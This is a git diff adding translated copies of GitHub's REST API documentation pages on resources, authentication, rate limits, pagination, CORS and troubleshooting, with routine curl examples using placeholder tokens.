/orgs/:org/actions/runners/:runner_id`](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) (read) +- [`POST /orgs/:org/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-organization) (write) +- [`DELETE /orgs/:org/actions/runners/:runner_id`](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) (write) +- [`GET /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-organization) (read) +- [`POST /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization) (write) +- [`PUT /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-organization) (write) +- [`DELETE /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-organization) (write) +- [`DELETE /orgs/:org/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (write) +{% endif %} + +## Single file + +- [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (read) +- [`PUT /repos/:owner/:repo/contents/:path`](/rest/reference/repos#create-or-update-file-contents) (write) +- [`DELETE /repos/:owner/:repo/contents/:path`](/rest/reference/repos#delete-a-file) (write) + +## Starring + +- [`GET /user/starred/:owner/:repo`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (read) +- [`PUT /user/starred/:owner/:repo`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (write) +- [`DELETE /user/starred/:owner/:repo`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (write) + +## Team discussions + +- [`GET /teams/:team_id/discussions`](/rest/reference/teams#list-discussions) (read) +- [`POST /teams/:team_id/discussions`](/rest/reference/teams#create-a-discussion) (write) +- [`GET /teams/:team_id/discussions/:discussion_number`](/rest/reference/teams#get-a-discussion) (read) +- [`PATCH /teams/:team_id/discussions/:discussion_number`](/rest/reference/teams#update-a-discussion) (write) +- [`DELETE /teams/:team_id/discussions/:discussion_number`](/rest/reference/teams#delete-a-discussion) (write) +- [`GET /teams/:team_id/discussions/:discussion_number/comments`](/rest/reference/teams#list-discussion-comments) (read) +- [`POST /teams/:team_id/discussions/:discussion_number/comments`](/rest/reference/teams#create-a-discussion-comment) (write) +- [`GET /teams/:team_id/discussions/:discussion_number/comments/:comment_number`](/rest/reference/teams#get-a-discussion-comment) (read) +- [`PATCH /teams/:team_id/discussions/:discussion_number/comments/:comment_number`](/rest/reference/teams#update-a-discussion-comment) (write) +- [`DELETE /teams/:team_id/discussions/:discussion_number/comments/:comment_number`](/rest/reference/teams#delete-a-discussion-comment) (write) +- [`GET /teams/:team_id/discussions/:discussion_number/comments/:comment_number/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment) (read) +- [`POST /teams/:team_id/discussions/:discussion_number/comments/:comment_number/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment) (write) +- [`GET /teams/:team_id/discussions/:discussion_number/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion) (read) +- [`POST /teams/:team_id/discussions/:discussion_number/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion) (write) diff --git a/translations/ru-RU/content/rest/overview/resources-in-the-rest-api.md b/translations/ru-RU/content/rest/overview/resources-in-the-rest-api.md new file mode 100644 index 000000000000..d0348eb3b494 --- /dev/null +++ b/translations/ru-RU/content/rest/overview/resources-in-the-rest-api.md @@ -0,0 +1,723 @@ +--- +title: Resources in the REST API +intro: 'Learn how to navigate the resources provided by the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.' +redirect_from: + - /rest/initialize-the-repo +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +miniTocMaxHeadingLevel: 3 +topics: + - API +--- + + +This describes the resources that make up the official {% data variables.product.product_name %} REST API. If you have any problems or requests, please contact {% data variables.contact.contact_support %}. + +## Schema + +{% ifversion fpt or ghec %}All API access is over HTTPS, and{% else %}The API is{% endif %} accessed from `{% data variables.product.api_url_code %}`. All data is +sent and received as JSON. + +```shell +$ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs + +> HTTP/2 200 +> Server: nginx +> Date: Fri, 12 Oct 2012 23:33:14 GMT +> Content-Type: application/json; charset=utf-8 +> ETag: "a00049ba79152d03380c34652f2cb612" +> X-GitHub-Media-Type: github.v3 +> x-ratelimit-limit: 5000 +> x-ratelimit-remaining: 4987 +> x-ratelimit-reset: 1350085394{% ifversion ghes %} +> X-GitHub-Enterprise-Version: {{ currentVersion | remove: "enterprise-server@" }}.0{% elsif ghae %} +> X-GitHub-Enterprise-Version: GitHub AE{% endif %} +> Content-Length: 5 +> Cache-Control: max-age=0, private, must-revalidate +> X-Content-Type-Options: nosniff +``` + +Blank fields are included as `null` instead of being omitted. + +All timestamps return in UTC time, ISO 8601 format: + + YYYY-MM-DDTHH:MM:SSZ + +For more information about timezones in timestamps, see [this section](#timezones). + +### Summary representations + +When you fetch a list of resources, the response includes a _subset_ of the +attributes for that resource. This is the "summary" representation of the +resource. (Some attributes are computationally expensive for the API to provide. +For performance reasons, the summary representation excludes those attributes. +To obtain those attributes, fetch the "detailed" representation.) + +**Example**: When you get a list of repositories, you get the summary +representation of each repository. Here, we fetch the list of repositories owned +by the [octokit](https://github.com/octokit) organization: + + GET /orgs/octokit/repos + +### Detailed representations + +When you fetch an individual resource, the response typically includes _all_ +attributes for that resource. This is the "detailed" representation of the +resource. (Note that authorization sometimes influences the amount of detail +included in the representation.) + +**Example**: When you get an individual repository, you get the detailed +representation of the repository. Here, we fetch the +[octokit/octokit.rb](https://github.com/octokit/octokit.rb) repository: + + GET /repos/octokit/octokit.rb + +The documentation provides an example response for each API method. The example +response illustrates all attributes that are returned by that method. + +## Authentication + +{% ifversion ghae %} We recommend authenticating to the {% data variables.product.product_name %} REST API by creating an OAuth2 token through the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow). {% else %} There are two ways to authenticate through {% data variables.product.product_name %} REST API.{% endif %} Requests that require authentication will return `404 Not Found`, instead of `403 Forbidden`, in some places. This is to prevent the accidental leakage of private repositories to unauthorized users. + +### Basic authentication + +```shell +$ curl -u "username" {% data variables.product.api_url_pre %} +``` + +### OAuth2 token (sent in a header) + +```shell +$ curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_pre %} +``` + +{% note %} + +Note: GitHub recommends sending OAuth tokens using the Authorization header. + +{% endnote %} + +{% note %} + +**Note:** {% data reusables.getting-started.bearer-vs-token %} + +{% endnote %} + +Read [more about OAuth2](/apps/building-oauth-apps/). Note that OAuth2 tokens can be acquired using the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow) for production applications. + +{% ifversion fpt or ghes or ghec %} +### OAuth2 key/secret + +{% data reusables.apps.deprecating_auth_with_query_parameters %} + +```shell +curl -u my_client_id:my_client_secret '{% data variables.product.api_url_pre %}/user/repos' +``` + +Using your `client_id` and `client_secret` does _not_ authenticate as a user, it will only identify your OAuth App to increase your rate limit. Permissions are only granted to users, not applications, and you will only get back data that an unauthenticated user would see. For this reason, you should only use the OAuth2 key/secret in server-to-server scenarios. Don't leak your OAuth App's client secret to your users. + +{% ifversion ghes %} +You will be unable to authenticate using your OAuth2 key and secret while in private mode, and trying to authenticate will return `401 Unauthorized`. For more information, see "[Enabling private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode)". +{% endif %} +{% endif %} + +{% ifversion fpt or ghec %} + +Read [more about unauthenticated rate limiting](#increasing-the-unauthenticated-rate-limit-for-oauth-apps). + +{% endif %} + +### Failed login limit + +Authenticating with invalid credentials will return `401 Unauthorized`: + +```shell +$ curl -I {% data variables.product.api_url_pre %} -u foo:bar +> HTTP/2 401 + +> { +> "message": "Bad credentials", +> "documentation_url": "{% data variables.product.doc_url_pre %}" +> } +``` + +After detecting several requests with invalid credentials within a short period, +the API will temporarily reject all authentication attempts for that user +(including ones with valid credentials) with `403 Forbidden`: + +```shell +$ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae or ghec %} +-u VALID_USERNAME:VALID_TOKEN {% endif %}{% ifversion ghes %}-u VALID_USERNAME:VALID_PASSWORD {% endif %} +> HTTP/2 403 +> { +> "message": "Maximum number of login attempts exceeded. Please try again later.", +> "documentation_url": "{% data variables.product.doc_url_pre %}" +> } +``` + +## Parameters + +Many API methods take optional parameters. For `GET` requests, any parameters not +specified as a segment in the path can be passed as an HTTP query string +parameter: + +```shell +$ curl -i "{% data variables.product.api_url_pre %}/repos/vmg/redcarpet/issues?state=closed" +``` + +In this example, the 'vmg' and 'redcarpet' values are provided for the `:owner` +and `:repo` parameters in the path while `:state` is passed in the query +string. + +For `POST`, `PATCH`, `PUT`, and `DELETE` requests, parameters not included in the URL should be encoded as JSON +with a Content-Type of 'application/json': + +```shell +$ curl -i -u username -d '{"scopes":["repo_deployment"]}' {% data variables.product.api_url_pre %}/authorizations +``` + +## Root endpoint + +You can issue a `GET` request to the root endpoint to get all the endpoint categories that the REST API supports: + +```shell +$ curl {% ifversion fpt or ghae or ghec %} +-u USERNAME:TOKEN {% endif %}{% ifversion ghes %}-u USERNAME:PASSWORD {% endif %}{% data variables.product.api_url_pre %} +``` + +## GraphQL global node IDs + +See the guide on "[Using Global Node IDs](/graphql/guides/using-global-node-ids)" for detailed information about how to find `node_id`s via the REST API and use them in GraphQL operations. + +## Client errors + +There are three possible types of client errors on API calls that +receive request bodies: + +1. Sending invalid JSON will result in a `400 Bad Request` response. + + HTTP/2 400 + Content-Length: 35 + + {"message":"Problems parsing JSON"} + +2. Sending the wrong type of JSON values will result in a `400 Bad + Request` response. + + HTTP/2 400 + Content-Length: 40 + + {"message":"Body should be a JSON object"} + +3. Sending invalid fields will result in a `422 Unprocessable Entity` + response. + + HTTP/2 422 + Content-Length: 149 + + { + "message": "Validation Failed", + "errors": [ + { + "resource": "Issue", + "field": "title", + "code": "missing_field" + } + ] + } + +All error objects have resource and field properties so that your client +can tell what the problem is. There's also an error code to let you +know what is wrong with the field. These are the possible validation error +codes: + +Error code name | Description +-----------|-----------| +`missing` | A resource does not exist. +`missing_field` | A required field on a resource has not been set. +`invalid` | The formatting of a field is invalid. Review the documentation for more specific information. +`already_exists` | Another resource has the same value as this field. This can happen in resources that must have some unique key (such as label names). +`unprocessable` | The inputs provided were invalid. + +Resources may also send custom validation errors (where `code` is `custom`). Custom errors will always have a `message` field describing the error, and most errors will also include a `documentation_url` field pointing to some content that might help you resolve the error. + +## HTTP redirects + +The {% data variables.product.product_name %} REST API uses HTTP redirection where appropriate. Clients should assume that any +request may result in a redirection. Receiving an HTTP redirection is *not* an +error and clients should follow that redirect. Redirect responses will have a +`Location` header field which contains the URI of the resource to which the +client should repeat the requests. + +Status Code | Description +-----------|-----------| +`301` | Permanent redirection. The URI you used to make the request has been superseded by the one specified in the `Location` header field. This and all future requests to this resource should be directed to the new URI. +`302`, `307` | Temporary redirection. The request should be repeated verbatim to the URI specified in the `Location` header field but clients should continue to use the original URI for future requests. + +Other redirection status codes may be used in accordance with the HTTP 1.1 spec. + +## HTTP verbs + +Where possible, the {% data variables.product.product_name %} REST API strives to use appropriate HTTP verbs for each +action. Note that HTTP verbs are case-sensitive. + +Verb | Description +-----|----------- +`HEAD` | Can be issued against any resource to get just the HTTP header info. +`GET` | Used for retrieving resources. +`POST` | Used for creating resources. +`PATCH` | Used for updating resources with partial JSON data. For instance, an Issue resource has `title` and `body` attributes. A `PATCH` request may accept one or more of the attributes to update the resource. +`PUT` | Used for replacing resources or collections. For `PUT` requests with no `body` attribute, be sure to set the `Content-Length` header to zero. +`DELETE` |Used for deleting resources. + +## Hypermedia + +All resources may have one or more `*_url` properties linking to other +resources. These are meant to provide explicit URLs so that proper API clients +don't need to construct URLs on their own. It is highly recommended that API +clients use these. Doing so will make future upgrades of the API easier for +developers. All URLs are expected to be proper [RFC 6570][rfc] URI templates. + +You can then expand these templates using something like the [uri_template][uri] +gem: + + >> tmpl = URITemplate.new('/notifications{?since,all,participating}') + >> tmpl.expand + => "/notifications" + + >> tmpl.expand :all => 1 + => "/notifications?all=1" + + >> tmpl.expand :all => 1, :participating => 1 + => "/notifications?all=1&participating=1" + +[rfc]: https://datatracker.ietf.org/doc/html/rfc6570 +[uri]: https://github.com/hannesg/uri_template + +## Pagination + +Requests that return multiple items will be paginated to 30 items by +default. You can specify further pages with the `page` parameter. For some +resources, you can also set a custom page size up to 100 with the `per_page` parameter. +Note that for technical reasons not all endpoints respect the `per_page` parameter, +see [events](/rest/reference/activity#events) for example. + +```shell +$ curl '{% data variables.product.api_url_pre %}/user/repos?page=2&per_page=100' +``` + +Note that page numbering is 1-based and that omitting the `page` +parameter will return the first page. + +Some endpoints use cursor-based pagination. A cursor is a string that points to a location in the result set. +With cursor-based pagination, there is no fixed concept of "pages" in the result set, so you can't navigate to a specific page. +Instead, you can traverse the results by using the `before` or `after` parameters. + +For more information on pagination, check out our guide on [Traversing with Pagination][pagination-guide]. + +### Link header + +{% note %} + +**Note:** It's important to form calls with Link header values instead of constructing your own URLs. + +{% endnote %} + +The [Link header](https://datatracker.ietf.org/doc/html/rfc5988) includes pagination information. For example: + + Link: <{% data variables.product.api_url_code %}/user/repos?page=3&per_page=100>; rel="next", + <{% data variables.product.api_url_code %}/user/repos?page=50&per_page=100>; rel="last" + +_The example includes a line break for readability._ + +Or, if the endpoint uses cursor-based pagination: + + Link: <{% data variables.product.api_url_code %}/orgs/ORG/audit-log?after=MTYwMTkxOTU5NjQxM3xZbGI4VE5EZ1dvZTlla09uWjhoZFpR&before=>; rel="next", + +This `Link` response header contains one or more [Hypermedia](/rest#hypermedia) link relations, some of which may require expansion as [URI templates](https://datatracker.ietf.org/doc/html/rfc6570). + +The possible `rel` values are: + +Name | Description +-----------|-----------| +`next` |The link relation for the immediate next page of results. +`last` |The link relation for the last page of results. +`first` |The link relation for the first page of results. +`prev` |The link relation for the immediate previous page of results. + +## Timeouts + +If {% data variables.product.prodname_dotcom %} takes more than 10 seconds to process an API request, {% data variables.product.prodname_dotcom %} will terminate the request and you will receive a timeout response like this: + +```json +{ + "message": "Server Error" +} +``` + +{% data variables.product.product_name %} reserves the right to change the timeout window to protect the speed and reliability of the API. + +## Rate limiting + +Different types of API requests to {% data variables.location.product_location %} are subject to different rate limits. + +Additionally, the Search API has dedicated limits. For more information, see "[Search](/rest/reference/search#rate-limit)" in the REST API documentation. + +{% data reusables.enterprise.rate_limit %} + +{% data reusables.rest-api.always-check-your-limit %} + +### Requests from personal accounts + +Direct API requests that you authenticate with a {% data variables.product.pat_generic %} are user-to-server requests. An OAuth App or GitHub App can also make a user-to-server request on your behalf after you authorize the app. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)," "[Authorizing OAuth Apps](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)," and "[Authorizing GitHub Apps](/authentication/keeping-your-account-and-data-secure/authorizing-github-apps)." + +{% data variables.product.product_name %} associates all user-to-server requests with the authenticated user. For OAuth Apps and GitHub Apps, this is the user who authorized the app. All user-to-server requests count toward the authenticated user's rate limit. + +{% data reusables.apps.user-to-server-rate-limits %} + +{% ifversion fpt or ghec %} + +{% data reusables.apps.user-to-server-rate-limits-ghec %} + +{% ifversion fpt or ghec or ghes %} + +For unauthenticated requests, the rate limit allows for up to 60 requests per hour. Unauthenticated requests are associated with the originating IP address, and not the person making requests. + +{% endif %} + +{% endif %} + +### Requests from GitHub Apps + +Requests from a GitHub App may be either user-to-server or server-to-server requests. For more information about rate limits for GitHub Apps, see "[Rate limits for GitHub Apps](/developers/apps/building-github-apps/rate-limits-for-github-apps)." + +### Requests from GitHub Actions + +You can use the built-in `GITHUB_TOKEN` to authenticate requests in GitHub Actions workflows. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." + +When using `GITHUB_TOKEN`, the rate limit is 1,000 requests per hour per repository.{% ifversion fpt or ghec %} For requests to resources that belong to an enterprise account on {% data variables.location.product_location %}, {% data variables.product.prodname_ghe_cloud %}'s rate limit applies, and the limit is 15,000 requests per hour per repository.{% endif %} + +### Checking your rate limit status + +The Rate Limit API and a response's HTTP headers are authoritative sources for the current number of API calls available to you or your app at any given time. + +#### Rate Limit API + +You can use the Rate Limit API to check your rate limit status without incurring a hit to the current limit. For more information, see "[Rate limit](/rest/reference/rate-limit)." + +#### Rate limit HTTP headers + +The returned HTTP headers of any API request show your current rate limit status: + +```shell +$ curl -I {% data variables.product.api_url_pre %}/users/octocat +> HTTP/2 200 +> Date: Mon, 01 Jul 2013 17:27:06 GMT +> x-ratelimit-limit: 60 +> x-ratelimit-remaining: 56 +> x-ratelimit-used: 4 +> x-ratelimit-reset: 1372700873 +``` + +Header Name | Description +-----------|-----------| +`x-ratelimit-limit` | The maximum number of requests you're permitted to make per hour. +`x-ratelimit-remaining` | The number of requests remaining in the current rate limit window. +`x-ratelimit-used` | The number of requests you've made in the current rate limit window. +`x-ratelimit-reset` | The time at which the current rate limit window resets in [UTC epoch seconds](http://en.wikipedia.org/wiki/Unix_time). + +If you need the time in a different format, any modern programming language can get the job done. For example, if you open up the console on your web browser, you can easily get the reset time as a JavaScript Date object. + +``` javascript +new Date(1372700873 * 1000) +// => Mon Jul 01 2013 13:47:53 GMT-0400 (EDT) +``` + +If you exceed the rate limit, an error response returns: + +```shell +> HTTP/2 403 +> Date: Tue, 20 Aug 2013 14:50:41 GMT +> x-ratelimit-limit: 60 +> x-ratelimit-remaining: 0 +> x-ratelimit-used: 60 +> x-ratelimit-reset: 1377013266 + +> { +> "message": "API rate limit exceeded for xxx.xxx.xxx.xxx. (But here's the good news: Authenticated requests get a higher rate limit. Check out the documentation for more details.)", +> "documentation_url": "{% data variables.product.doc_url_pre %}/overview/resources-in-the-rest-api#rate-limiting" +> } +``` + +### Increasing the unauthenticated rate limit for OAuth Apps + +If your OAuth App needs to make unauthenticated calls with a higher rate limit, you can pass your app's client ID and secret before the endpoint route. + +```shell +$ curl -u my_client_id:my_client_secret -I {% data variables.product.api_url_pre %}/user/repos +> HTTP/2 200 +> Date: Mon, 01 Jul 2013 17:27:06 GMT +> x-ratelimit-limit: 5000 +> x-ratelimit-remaining: 4966 +> x-ratelimit-used: 34 +> x-ratelimit-reset: 1372700873 +``` + +{% note %} + +**Note:** Never share your client secret with anyone or include it in client-side browser code. Use the method shown here only for server-to-server calls. + +{% endnote %} + +### Staying within the rate limit + +If you exceed your rate limit using Basic Authentication or OAuth, you can likely fix the issue by caching API responses and using [conditional requests](#conditional-requests). + +### Secondary rate limits + +In order to provide quality service on {% data variables.product.product_name %}, additional rate limits may apply to some actions when using the API. For example, using the API to rapidly create content, poll aggressively instead of using webhooks, make multiple concurrent requests, or repeatedly request data that is computationally expensive may result in secondary rate limiting. + +Secondary rate limits are not intended to interfere with legitimate use of the API. Your normal rate limits should be the only limit you target. To ensure you're acting as a good API citizen, check out our [Best Practices guidelines](/guides/best-practices-for-integrators/). + +If your application triggers this rate limit, you'll receive an informative response: + +```shell +> HTTP/2 403 +> Content-Type: application/json; charset=utf-8 +> Connection: close + +> { +> "message": "You have exceeded a secondary rate limit and have been temporarily blocked from content creation. Please retry your request again later.", +> "documentation_url": "{% data variables.product.doc_url_pre %}/overview/resources-in-the-rest-api#secondary-rate-limits" +> } +``` + +{% ifversion fpt or ghec %} + +## User agent required + +All API requests MUST include a valid `User-Agent` header. Requests with no `User-Agent` +header will be rejected. We request that you use your {% data variables.product.product_name %} username, or the name of your +application, for the `User-Agent` header value. This allows us to contact you if there are problems. + +Here's an example: + +```shell +User-Agent: Awesome-Octocat-App +``` + +cURL sends a valid `User-Agent` header by default. If you provide an invalid `User-Agent` header via cURL (or via an alternative client), you will receive a `403 Forbidden` response: + +```shell +$ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta +> HTTP/1.0 403 Forbidden +> Connection: close +> Content-Type: text/html + +> Request forbidden by administrative rules. +> Please make sure your request has a User-Agent header. +> Check for other possible causes. +``` + +{% endif %} + +## Conditional requests + +Most responses return an `ETag` header. Many responses also return a `Last-Modified` header. You can use the values +of these headers to make subsequent requests to those resources using the +`If-None-Match` and `If-Modified-Since` headers, respectively. If the resource +has not changed, the server will return a `304 Not Modified`. + +{% ifversion fpt or ghec %} + +{% tip %} + +**Note**: Making a conditional request and receiving a 304 response does not +count against your [Rate Limit](#rate-limiting), so we encourage you to use it +whenever possible. + +{% endtip %} + +{% endif %} + +```shell +$ curl -I {% data variables.product.api_url_pre %}/user +> HTTP/2 200 +> Cache-Control: private, max-age=60 +> ETag: "644b5b0155e6404a9cc4bd9d8b1ae730" +> Last-Modified: Thu, 05 Jul 2012 15:31:30 GMT +> Vary: Accept, Authorization, Cookie +> x-ratelimit-limit: 5000 +> x-ratelimit-remaining: 4996 +> x-ratelimit-reset: 1372700873 + +$ curl -I {% data variables.product.api_url_pre %}/user -H 'If-None-Match: "644b5b0155e6404a9cc4bd9d8b1ae730"' +> HTTP/2 304 +> Cache-Control: private, max-age=60 +> ETag: "644b5b0155e6404a9cc4bd9d8b1ae730" +> Last-Modified: Thu, 05 Jul 2012 15:31:30 GMT +> Vary: Accept, Authorization, Cookie +> x-ratelimit-limit: 5000 +> x-ratelimit-remaining: 4996 +> x-ratelimit-reset: 1372700873 + +$ curl -I {% data variables.product.api_url_pre %}/user -H "If-Modified-Since: Thu, 05 Jul 2012 15:31:30 GMT" +> HTTP/2 304 +> Cache-Control: private, max-age=60 +> Last-Modified: Thu, 05 Jul 2012 15:31:30 GMT +> Vary: Accept, Authorization, Cookie +> x-ratelimit-limit: 5000 +> x-ratelimit-remaining: 4996 +> x-ratelimit-reset: 1372700873 +``` + +## Cross origin resource sharing + +The API supports Cross Origin Resource Sharing (CORS) for AJAX requests from +any origin. +You can read the [CORS W3C Recommendation](http://www.w3.org/TR/cors/), or +[this intro](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) from the +HTML 5 Security Guide. + +Here's a sample request sent from a browser hitting +`http://example.com`: + +```shell +$ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com" +HTTP/2 302 +Access-Control-Allow-Origin: * +Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, x-ratelimit-limit, x-ratelimit-remaining, x-ratelimit-reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval +``` + +This is what the CORS preflight request looks like: + +```shell +$ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com" -X OPTIONS +HTTP/2 204 +Access-Control-Allow-Origin: * +Access-Control-Allow-Headers: Authorization, Content-Type, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, X-GitHub-OTP, X-Requested-With +Access-Control-Allow-Methods: GET, POST, PATCH, PUT, DELETE +Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, x-ratelimit-limit, x-ratelimit-remaining, x-ratelimit-reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval +Access-Control-Max-Age: 86400 +``` + +## JSON-P callbacks + +You can send a `?callback` parameter to any GET call to have the results +wrapped in a JSON function. This is typically used when browsers want +to embed {% data variables.product.product_name %} content in web pages by getting around cross domain +issues. The response includes the same data output as the regular API, +plus the relevant HTTP Header information. + +```shell +$ curl {% data variables.product.api_url_pre %}?callback=foo + +> /**/foo({ +> "meta": { +> "status": 200, +> "x-ratelimit-limit": "5000", +> "x-ratelimit-remaining": "4966", +> "x-ratelimit-reset": "1372700873", +> "Link": [ // pagination headers and other links +> ["{% data variables.product.api_url_pre %}?page=2", {"rel": "next"}] +> ] +> }, +> "data": { +> // the data +> } +> }) +``` + +You can write a JavaScript handler to process the callback. Here's a minimal example you can try out: + + + + + + + +

Open up your browser's console.

+ + + +All of the headers are the same String value as the HTTP Headers with one +notable exception: Link. Link headers are pre-parsed for you and come +through as an array of `[url, options]` tuples. + +A link that looks like this: + + Link: ; rel="next", ; rel="foo"; bar="baz" + +... will look like this in the Callback output: + +```json +{ + "Link": [ + [ + "url1", + { + "rel": "next" + } + ], + [ + "url2", + { + "rel": "foo", + "bar": "baz" + } + ] + ] +} +``` + +## Timezones + +Some requests that create new data, such as creating a new commit, allow you to provide time zone information when specifying or generating timestamps. We apply the following rules, in order of priority, to determine timezone information for such API calls. + +* [Explicitly providing an ISO 8601 timestamp with timezone information](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information) +* [Using the `Time-Zone` header](#using-the-time-zone-header) +* [Using the last known timezone for the user](#using-the-last-known-timezone-for-the-user) +* [Defaulting to UTC without other timezone information](#defaulting-to-utc-without-other-timezone-information) + +Note that these rules apply only to data passed to the API, not to data returned by the API. As mentioned in "[Schema](#schema)," timestamps returned by the API are in UTC time, ISO 8601 format. + +### Explicitly providing an ISO 8601 timestamp with timezone information + +For API calls that allow for a timestamp to be specified, we use that exact timestamp. An example of this is the [Commits API](/rest/reference/git#commits). + +These timestamps look something like `2014-02-27T15:05:06+01:00`. Also see [this example](/rest/reference/git#example-input) for how these timestamps can be specified. + +### Using the `Time-Zone` header + +It is possible to supply a `Time-Zone` header which defines a timezone according to the [list of names from the Olson database](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones). + +```shell +$ curl -H "Time-Zone: Europe/Amsterdam" -X POST {% data variables.product.api_url_pre %}/repos/github/linguist/contents/new_file.md +``` + +This means that we generate a timestamp for the moment your API call is made in the timezone this header defines. For example, the [Contents API](/rest/reference/repos#contents) generates a git commit for each addition or change and uses the current time as the timestamp. This header will determine the timezone used for generating that current timestamp. + +### Using the last known timezone for the user + +If no `Time-Zone` header is specified and you make an authenticated call to the API, we use the last known timezone for the authenticated user. The last known timezone is updated whenever you browse the {% data variables.product.product_name %} website. + +### Defaulting to UTC without other timezone information + +If the steps above don't result in any information, we use UTC as the timezone to create the git commit. + +[pagination-guide]: /guides/traversing-with-pagination diff --git a/translations/ru-RU/content/rest/overview/troubleshooting.md b/translations/ru-RU/content/rest/overview/troubleshooting.md new file mode 100644 index 000000000000..bcb8e7f18976 --- /dev/null +++ b/translations/ru-RU/content/rest/overview/troubleshooting.md @@ -0,0 +1,71 @@ +--- +title: Troubleshooting +intro: Learn how to resolve the most common problems people encounter in the REST API. +redirect_from: + - /v3/troubleshooting +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +--- + + + +If you're encountering some oddities in the API, here's a list of resolutions to +some of the problems you may be experiencing. + +## `404` error for an existing repository + +Typically, we send a `404` error when your client isn't properly authenticated. +You might expect to see a `403 Forbidden` in these cases. However, since we don't +want to provide _any_ information about private repositories, the API returns a +`404` error instead. + +To troubleshoot, ensure [you're authenticating correctly](/guides/getting-started/), [your OAuth access token has the required scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/), [third-party application restrictions][oap-guide] are not blocking access, and that [the token has not expired or been revoked](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation). + +## Not all results returned + +Most API calls accessing a list of resources (_e.g._, users, issues, _etc._) support +pagination. If you're making requests and receiving an incomplete set of results, you're +probably only seeing the first page. You'll need to request the remaining pages +in order to get more results. + +It's important to *not* try and guess the format of the pagination URL. Not every +API call uses the same structure. Instead, extract the pagination information from +[the Link Header](/rest#pagination), which is sent with every request. + +[oap-guide]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/ + +{% ifversion fpt or ghec %} +## Basic authentication errors + +On November 13, 2020 username and password authentication to the REST API and the OAuth Authorizations API were deprecated and no longer work. + +### Using `username`/`password` for basic authentication + +If you're using `username` and `password` for API calls, then they are no longer able to authenticate. For example: + +```bash +curl -u my_user:my_password https://api.github.com/user/repos +``` + +Instead, use a [{% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line) when testing endpoints or doing local development: + +```bash +curl -H 'Authorization: Bearer my_access_token' https://api.github.com/user/repos +``` + +For OAuth Apps, you should use the [web application flow](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow) to generate an OAuth token to use in the API call's header: + +```bash +curl -H 'Authorization: Bearer my-oauth-token' https://api.github.com/user/repos +``` + +## Timeouts + +If {% data variables.product.product_name %} takes more than 10 seconds to process an API request, {% data variables.product.product_name %} will terminate the request and you will receive a timeout response. + +{% endif %} diff --git a/translations/ru-RU/content/rest/packages.md b/translations/ru-RU/content/rest/packages.md new file mode 100644 index 000000000000..9388be2f7f1e --- /dev/null +++ b/translations/ru-RU/content/rest/packages.md @@ -0,0 +1,25 @@ +--- +title: Packages +intro: 'With the {% data variables.product.prodname_registry %} API, you can manage packages for your {% data variables.product.prodname_dotcom %} repositories and organizations.' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/packages +--- + +## About the {% data variables.product.prodname_registry %} API + +The {% data variables.product.prodname_registry %} API enables you to manage packages using the REST API. To learn more about restoring or deleting packages, see "[Restoring and deleting packages](/packages/learn-github-packages/deleting-and-restoring-a-package)." + +To use this API, you must authenticate using a {% data variables.product.pat_v1 %}. + - To access package metadata, your token must include the `read:packages` scope. + - To delete packages and package versions, your token must include the `read:packages` and `delete:packages` scopes. + - To restore packages and package versions, your token must include the `read:packages` and `write:packages` scopes. + +If your `package_type` is `npm`, `maven`, `rubygems`, or `nuget`, then your token must also include the `repo` scope since your package inherits permissions from a {% data variables.product.prodname_dotcom %} repository. If your package is in the {% data variables.product.prodname_container_registry %}, then your `package_type` is `container` and your token does not need the `repo` scope to access or 